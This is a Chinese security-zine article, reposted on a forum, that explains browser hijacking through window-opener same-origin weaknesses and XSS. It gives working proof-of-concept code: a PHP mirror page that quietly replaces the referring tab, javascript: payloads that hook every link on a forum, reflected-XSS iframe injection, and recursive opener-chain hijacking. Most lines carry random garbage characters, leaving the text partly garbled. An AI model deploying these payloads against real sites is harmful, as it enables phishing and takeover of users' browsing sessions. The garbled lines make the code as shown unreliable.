中国网络渗透测试联盟

标题: [PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持] [打印本页]

作者: admin    时间: 2012-9-13 17:10
标题: [PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
                           ==Ph4nt0m Security Team==
2 ?4 h% U* e7 T; Q5 S* n# |4 j 4 k6 J/ U* m8 q0 g3 ^+ M! a, F
                       Issue 0x03, Phile #0x05 of 0x07/ Q& w& V* ?4 A$ e
: t+ u/ [* k! {0 O, Y& v5 c% \

7 Y5 b+ z0 _& b& F( X|=---------------------------------------------------------------------------=|
6 ^# [7 W, k" y! b' ~- z7 o" G9 r& H|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|; G. J! G: `$ {3 z& R/ t
|=---------------------------------------------------------------------------=|
) S$ i% J5 D5 }$ L+ n|=---------------------------------------------------------------------------=|
, c+ r0 t1 n6 V& Y4 S1 @|=------------------------=[      By rayh4c     ]=---------------------------=|
  {5 @, }: {' z4 ]% ^- \# y|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
/ J( S. Y4 r. S4 n  w( I2 a; I|=---------------------------------------------------------------------------=|
0 z8 G& k" [1 o; }
  r% v- e0 Q( n( X/ T* a% T; o( |( P  P
[目录]
5 o3 j* R6 p( ?8 G8 h1 d) O7 H1 e& e' ?2 X
1. 前言
  `' `  S- q* ]: `* f& |2. 同源策略简叙
3 y' m! u8 r" \' e3. 理解window对象的同源策略
8 m5 \$ R7 g: U4. 窗口引用功能中的同源策略漏洞
; Q, m4 H. b: D- X2 ]; m  4.1 父窗口引用子窗口的同源策略问题
1 V; O; d! a" s) c) D  4.2 子窗口引用父窗口的同源策略问题) `( d# E( J  b
5. 利用窗口引用漏洞劫持浏览器8 t5 a; Y0 [. ~6 n3 b5 G/ ]
6. 利用XSS漏洞劫持浏览器
( e) E( t- F: V  6.1 正向跨窗口劫持' K% K( v' E/ H
  6.2 反向跨窗口劫持* D  K% ?6 E7 {4 n3 h  K( {
  6.3 极度危险的跨框架窗口引用劫持
: l  r' e2 G  I% |  6.4 极度危险的正反向跨窗口递归劫持
* Q7 u6 m* G; q+ H: ?2 ~  6.5 完全控制浏览器
' S0 M% |& ]& L* ?7. 后记! d- h7 |! _% |0 K! n; E$ M
8. 参考  U  b9 }& Y0 i! h) ]

" u: c3 Q. p, Y" t4 N; |  |9 }4 d. r, ^, ?7 f+ V( H, \
一、前言
& P4 B/ A) t6 h6 u
: ~6 c/ N! G  L; k    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋3 W# ?5 J, S: G1 `
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session3 H. e& \$ a8 K" k; F* t& W- g
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被4 @1 |* b& Y/ W
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
. ~' ~* @7 l5 s
% a, S+ K4 H- F' G& O6 O
' j- a2 Z7 `/ r: T二、同源策略简叙5 j$ d4 O. C$ |- t

9 ]9 A' Q2 j- C9 w    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
  D- c! E. l. ^, A( O& f9 N从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都- X& A! u7 v" q* K) D
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木( }# ?' J' o: W4 M
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个' O% n: Z7 u- P# O' X% Z/ c
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。& M+ c5 q0 w( ?2 t% p4 v
; W, ?+ t: U  Q/ O& `% p" h
" x; Z: W/ I4 Q+ _- a8 M$ s
三、理解window对象的同源策略
. O/ D+ g; k$ g: C
; G3 Z; z! N& C5 [7 ]    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对" o" L% B5 c3 G) X& P! i8 k$ c
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
* O! }8 J+ j& q7 P- Y. B. M
# f& e1 I) c# f4 U9 f% Z--code-------------------------------------------------------------------------6 P2 U3 k6 ~, C( I  `. b3 e# a* z
<script language="javascript">
0 E, m8 I) {! e. ^* m& h( h' Ffor(p in window) document.write(p+"<br>");8 K2 @, Q, z: B
</script>
% c8 [+ d" r9 m/ ~* B; [( ?-------------------------------------------------------------------------------
4 N$ Y! q, P5 V/ g2 s
+ d/ ~. |5 p6 c! c    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方( i1 X' l2 ]- n; F
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,# m7 Z. Z4 f% N' e
这些属性和方法就必须遵循同源策略。
' I: E2 w' B3 ^( B8 k3 u% i  @: X* |1 o, `  [
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那6 d) e# M: @  \
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
; y2 Y: \. M" c  K- e9 ~) C2 K的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这2 V1 A2 ?! J5 j
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的  }6 ^8 ~) X4 x& @- Z* _
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
9 I: y9 q# A& P9 Y3 h! V5 R属性并没有被拒绝访问。( n4 n; j; U% _
0 E" E& J$ s8 X5 y# q
--demo.html--------------------------------------------------------------------. b+ M3 p* z+ V9 j
<script language="javascript">   ' e  C% f8 S$ k
function allPrpos(obj) {      & R( E, H9 ^, G3 n# m$ o; M
      var props = "<table><tr><td>名称</td><td>值</td>";           & w/ N- e: l& h3 z; b
      for(var p in obj){         
% u& `* b% m7 q- }            if(typeof(obj[p])=="function"){   3 }5 W5 B9 r3 _+ F7 ?+ a
                   obj[p]();   
, d' d& M& u2 ^             }else{                     
0 r# `! Z$ V  N! J; d6 p+ U+ D& E                  try   
2 f+ N; ^1 ^- e                   {   
& |! A# S9 d1 s5 A                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
4 f$ ~; [' I# _, f                   }   - L) p+ ~9 y% j$ }! k7 }) x3 ~' c
                  catch (ex)   + V  s4 T; s0 O$ ?, m8 y+ [
                   {   
7 L: u& v+ f  {7 K4 B                   / j: }2 ]0 V" t, y5 J
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   ; S9 D2 A7 M# d
                   }   8 O5 e' u$ D# m8 o& f
                       
9 w2 Q7 k% i+ l- _+ I: a             }   
/ |9 v1 `% o3 u( T/ m0 `4 C       }   
2 l: B: M1 b  ~2 k   
3 Z& ?6 n( v$ b, y" }       document.write(props+"</table>");   
, s6 A6 B6 f# R' g. H" K9 Q- z) S}   ! r) T7 z) N3 s0 X1 {* _* w
   / z/ j5 X% N; P8 l4 W* e
function createWin() {2 C% H0 B& `" {6 U/ Q6 R
        newWin = window.open ("http://www.google.com");  
) j/ n* w  [; c, }( A        setTimeout(function(){allPrpos(newWin)},2000); 4 z7 L: R3 v+ Z
}
  {$ B) Z& F! c( I0 ~3 P
5 X8 |, x7 j6 M</script> 4 G+ s/ A4 R( J' u

: E$ n: Q, d/ i: a1 d8 c/ m9 c7 P<button onclick='createWin()'>创建一个非同源子窗口测试</button>
$ p, O* Q2 f* z/ E7 I-------------------------------------------------------------------------------3 Z; d: o+ S& f1 [) }3 ^
; a' Q6 p9 x& F; D0 t- x9 |, T6 o* k
+ Z4 _: |9 P' e1 E9 x; H
四、窗口引用功能中的同源策略漏洞
- A4 }% p$ J) i. s
1 i; q7 X6 {& H+ B- u, S$ w4.1 父窗口引用子窗口的同源策略问题- `  ^; |% S( N4 r1 l# I
: B* o2 N( I7 m( ]4 @4 G
    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
7 \  j6 m: W2 a% `$ O# e6 k9 d+ }6 d  `# W但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
! X3 |9 D- H8 s+ T9 e浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
" a8 j3 B: t' T; D; r2 O6 m行测试,会发现父窗口可以控制非同源子窗口location属性值。+ A8 W6 R: a0 u6 D) |) R7 J  q

* s4 ]2 R! b- E' u3 R  S- m% C9 a) u( a--vul1.html--------------------------------------------------------------------
' O7 T) j* v) f' F9 M0 X<script language="javascript">
/ c( B1 Y$ p3 ?function createWin() {  
( Y! h; u$ `( ^! H) s* S* H* y        newWin = window.open ("http://www.google.com");  , ~+ r- T9 P8 B6 V& z3 T' T
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
& c# Z* M" V4 b9 X0 ]} ! {6 I4 J& u  v$ ?3 J# U
</script>
: e1 t2 N" W4 a* z% E  T
2 K5 n2 e0 B4 G  W" q: }<button onclick='createWin()'>创建一个非同源子窗口测试</button>3 l* f# b3 w& q* K! r
-------------------------------------------------------------------------------& o3 X* u. l5 o- v) U
' z, |* N3 c2 V. R. P0 a
  f% O, i3 |( F/ b% I
4.2 子窗口引用父窗口的同源策略问题& u. F0 v8 R& r- U  v6 u( `

7 _7 u( d8 j+ S' ~' ~( `* W$ K    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使9 e- i. ~2 \: R& y* M. f
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
/ t- a0 S5 ^" [可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定& `( v5 m6 a7 G! A5 v
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。4 c/ R% ?8 b$ C# S- t- `
2 w9 w: J0 A8 P
--code-------------------------------------------------------------------------4 I( s) Z7 |' h# }

1 M$ Z& {  h; l0 yjavascript:window.opener.location = "http://www.80sec.com";void(0);& y# G5 O% [4 h6 }2 v. r6 r

& H% o. c$ ?+ {3 t0 D-------------------------------------------------------------------------------
. X7 v& W0 l. {9 T# |1 I, l; F* y$ A
6 z3 V  b' s' T. g: e; [+ P( @8 x) O/ V) S7 p9 I) E
五、利用窗口引用漏洞劫持浏览器* }7 q1 t9 z. s% X5 k. a

4 w; q( Z9 J% ?! v' K: t: Z/ o    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
; ^8 y' X* H% O  `& e2 Y" D窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那2 G; @% D( L5 R
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
! C8 M  B+ B+ G! ?* q; u: c8 }# {8 n0 h5 B; F) F: S
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
& F2 v0 a0 x* L$ D& W$ I5 X生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或1 y' G& n3 e" I* E, l
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接1 P3 T4 i5 D2 N
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
0 \2 u9 o) y/ e: Q会产生什么可怕的后果。
' K& s3 a- ^6 r! ?5 f2 c2 `! F9 n9 L
    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
0 F# U' ]* E: J7 H们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
8 D4 c, z6 F% @* h% q这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
, ^$ g. V; D8 N% j  b2 x0 A$ e候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
' Y+ @0 A& n# \以做更多的事情,所有的一切仅仅是因为点击了一个链接。/ ?; B3 I, r& S

+ D$ c3 F2 g4 o) t6 Q: {8 q--hjk_ref.php------------------------------------------------------------------0 Y% o9 G6 b: U1 M! {! p% c) V7 w" s
<?php: `7 W" ]' S5 D  ]# ~7 i( A
if (array_key_exists("HTTP_REFERER", $_SERVER)) {# k) r0 }  {8 h: ~0 g
$Url_Mirror = $_SERVER["HTTP_REFERER"];% C0 O" N4 f2 r' x$ i& C
}
( r2 u2 z) D7 @* b4 U: F9 G4 aif(isset ($_GET['ref'])) {
7 ]# V% ~% q0 U5 U: n, Iecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';8 D% D4 t' ~4 j; i" r
}
% r, T6 u6 r$ s) l' f8 l* O! h" s5 g?>
) i9 J/ }7 G7 b' l/ I! N% c% d  U3 i7 A. M( @
<script language="javascript">( E8 z/ O! p3 W, U
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         3 \: F6 n# F* \/ f0 U! I  V! w
</script>) \, ^+ i6 z. c# m8 J
-------------------------------------------------------------------------------
9 m) n# x' ?7 u$ h* V- n! L$ Z+ F7 v8 b. Y& @8 s: L1 L: \! S7 w! n
    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。: Y% S/ B, k) q
5 _( R3 m$ ?: J+ K6 S# g2 M4 T

, ]6 c! \( T* D: ~& U六、利用XSS漏洞劫持浏览器
+ I$ N, T2 Y8 ]9 a
4 k. q3 x% F, E# b9 j; P    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为9 ]+ C: b! B3 l% x. N2 X
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
  J+ ?7 i1 b7 F: R4 |" kXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起, T9 F/ C; _9 F  f% z
讨论跨站师的终极技巧:* E/ R2 g* W/ @8 A$ N2 Y! M
4 V1 g& x( f" e/ v( O' D: ]

- o! |- _3 L* @$ k$ X* f6.1 正向跨窗口劫持
* p8 ]/ E( F% V" ^
$ X+ d8 O' ]% H+ @) N& b- a# i    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
; M. M2 |- K0 P3 b4 z6 _3 w主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
8 k# R3 Z5 d9 Q. |! [& T: c! y接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
) @0 ]4 t3 [. O6 {6 F, O" d& M框脚本。
$ D6 E, }# G" a2 J# m" [3 F$ _  e2 V
--hijack_open.js---------------------------------------------------------------  y# h1 Z5 O& b7 S- U4 C% Q( q
1 O# I6 m/ V! r! ?4 [  K6 I
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
: w* `* z( }0 z7 M3 q* D$ I4 C" K& T2 ?
-------------------------------------------------------------------------------" |5 h) z" p! p; X4 [+ `$ d1 _  r7 L! Z
1 Z+ O3 E1 S" d

+ |1 t$ G9 F$ Q) E' ]7 x6.2 反向跨窗口劫持- [/ @' Z' m8 e  l
: P8 t* j$ R/ d' q, R. O
    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
* Z" T6 h4 E6 C: n4 _码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话' p6 ^  M6 U, @6 M" r8 t
框脚本。- I3 P5 A$ |3 G% I1 y. H( o3 V
1 ~. B9 b; ]* S9 y) M, N
--hijack_opener.js-------------------------------------------------------------
0 `; T* a, J6 H1 J# T
9 j# h& ~; z+ f; P7 njavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);0 O4 w; k' n' K& a% E# N  a4 k

3 \+ ^! t3 n4 b/ m4 B/ b5 j3 G3 {; Y-------------------------------------------------------------------------------% F; i7 t4 O% B) T/ p0 s# C. t

' Y& u7 ^* ?+ A6 D5 U
" S* z9 z* v6 v6.3 极度危险的跨框架窗口引用劫持
% j. L9 Y, E* I) z
% U3 X! p/ k, S3 \/ i2 i% T    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞' g( M2 C6 M* g9 g( q9 A3 P
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就4 G: m2 b/ p( T7 e+ J
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
! i) Z( w4 p6 U7 K: s2 q# g非持久型的XSS,如下:1 K/ p+ s0 r1 T: ~& w+ b
0 P& Z% K7 F) ^7 J; N
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>2 u! O9 F' Q1 T% J) D% L3 `* `1 r
: x" z; ]  O1 l( }5 j; ^
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
; q7 s& J* ~0 r! r注入脚本。
/ |; A! w) ]! d5 }2 J5 {4 \& U% h' C$ v# J3 P' i/ `
--hijack_frame_opener.js-------------------------------------------------------
6 {' |6 d# h4 \2 i<script>
+ @5 U; B, I* H0 ~9 S) ~  @window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";7 t: o  V: `4 _$ T/ @- S5 ~7 g
</script>2 {- }6 p' K5 Y& L8 |- L5 ?
-------------------------------------------------------------------------------
- p$ `: G7 b( E1 \! S( X+ N/ L0 V2 f& J/ g* N% h
4 M* E9 d0 T8 V8 N5 `4 f/ n
6.4 极度危险的正反向跨窗口递归劫持7 s7 p0 ^# \9 g
/ B- R$ g( b6 H* T: L
    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window) F) K6 d: v. }, p
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
9 J2 p  @8 h# I, F1 U异常处理规避之间跨域页面的访问异常,代码如下:' y- S- k) N3 H! V! o
2 t! }! m& I) m+ U/ |
--code-------------------------------------------------------------------------. T3 X0 U3 N( r# }* Z

+ K# A* v4 [( Ojavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);0 j5 W. I# e7 R; ~# D$ @2 N

7 D5 x5 z1 q  {& C. b( e2 |6 X-------------------------------------------------------------------------------2 Q5 ~$ s4 q0 E: x' y& _  Y

) T2 n: {# i5 @. |    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
, P2 b) n+ w6 p8 j9 `% F( ]9 p8 F/ J以劫持B域之前的A域页面,从而实现“隔空打击”。( Q  m( X$ w8 ?+ M; g6 J5 L
8 v9 [- u; ?1 g+ u/ N
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
/ [$ m& k& m5 Z& Z- @3 [执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
/ b. n9 Z% K" J) b6 f+ n) k( v! K* E
    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。0 N# W3 E: B0 ?# @9 E) G

& S0 L# s8 u8 M5 w0 w& }' ^  J9 }. I0 Z; g% {0 T
6.5 完全控制浏览器
( x1 g: E, v. H% Y9 B+ e4 M, i' _: [/ e3 [& ]1 g$ R3 G
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
2 Y0 W$ p) P& ~% v- {9 ?3 t是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS7 A: N' l+ S# u: W' L
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失' W- Q, y  J- h9 ^, l
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
0 X% ^0 M) V$ \# t! t  c* d+ R  ~列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站5 T% V; f5 k' V
师的终极目标 - 完全控制浏览器。; I! F0 i4 I, X8 V& m( }

9 N' f% S' p* H, H3 Z/ ?* O: Y' X1 r# q0 p1 p$ J
七、后记, J) [" o7 ^' Q: v4 ~. w) a, w3 R- u

# c4 J% s6 l& P/ d* {    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全  q8 r* x+ B! |6 Z6 f+ U4 }+ {
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
( n  j) Q( A. K" F) H过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。, H* Q: S5 n2 `
3 o2 j! G" w( P- T7 d/ c. ^

4 o: B4 h. l5 q* c& ]- t2 o八、参考' G- N' k! m, [( t. M

# e' E2 |+ j. d3 M% H1. http://en.wikipedia.org/wiki/Same_origin_policy* f1 H% \  {  k+ U
2. http://code.google.com/p/browser ... licy_for_DOM_access
- K- B) g, O, c% l; Z; J3. http://www.w3.org/TR/Window// ^/ @- c4 w. d  k$ w. g7 y7 j
4. http://www.80sec.com/release/browser-hijacking.txt
+ A! B- @2 F. t& u4 \7 b5. http://www.80sec.com/all-browser-security-alert.html9 f7 I( Q) X/ e4 e
6. http://www.80sec.com/ms08-058-attacks-google.html' u& }7 y5 \/ t' O0 A( Y+ A9 _
+ A* ~$ K3 X* j+ W  ~3 C' T
-EOF-




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2